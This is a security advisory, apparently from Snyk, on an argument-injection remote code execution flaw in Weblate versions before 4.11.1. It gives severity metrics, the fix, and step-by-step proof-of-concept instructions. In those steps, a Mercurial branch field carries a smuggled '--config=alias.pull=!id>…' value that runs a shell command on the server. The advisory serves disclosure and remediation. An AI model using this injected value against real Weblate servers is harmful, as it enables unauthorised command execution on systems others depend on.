Remote Code Execution (RCE) Affecting weblate package, versions [0,4.11.1)



    Attack Complexity Low
    Privileges Required High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.19% (56th percentile)
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8.8 high

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  • published 4 Mar 2022
  • disclosed 2 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team

How to fix?

Upgrade Weblate to version 4.11.1 or higher.


Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection when using git or mercurial repositories. Authenticated users, can change the behavior of the application in an unintended way, leading to command execution.


  1. login into the application: http://localhost:8888/accounts/login/?next=/

  2. Add a new translation project with the following information (http://localhost:8888/create/project/) and then Save:

Project name: poc
URL slug: poc
Project website: http://localhost
  1. Add new translation component with the following information (http://localhost:8888/create/component/?project=1) and then click Continue:
Version control system: Mercurial
Source code repository: http://localhost:8888
Repository branch: --config=alias.pull=!id>/app/cache/static/output_rce.txt
  1. the output of the command id is at http://localhost:8888/static/output_rce.txt